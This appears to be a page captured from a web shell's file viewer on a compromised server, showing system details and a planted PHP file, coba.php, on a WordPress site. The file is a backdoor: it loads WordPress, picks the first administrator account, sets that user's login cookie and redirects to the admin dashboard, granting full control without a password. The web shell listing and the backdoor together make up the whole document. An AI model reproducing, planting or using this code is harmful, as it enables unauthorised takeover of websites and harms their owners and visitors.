HEX
Server: Apache
System: Linux elegant-goodall 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User: allende-losmares.com_h71qfkqzx8k (10002)
PHP: 8.0.30
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/allende-losmares.com/coba.php
<?php
$mr=$_SERVER['DOCUMENT_ROOT'];
@chdir($mr);
if (file_exists('wp-load.php')){
	include 'wp-load.php';
	$wp_user_query = new WP_User_Query( array( 'role' => 'Administrator', 'number' => 1, 'fields' => 'ID' ) );
	$results= $wp_user_query->get_results();

	if ( isset( $results[0] ) ) {
		wp_set_auth_cookie( $results[0] );
		wp_redirect( admin_url() );
		die();
	}
	die( 'NO ADMIN' );

}
else{
	die('Failed to load');
}

?>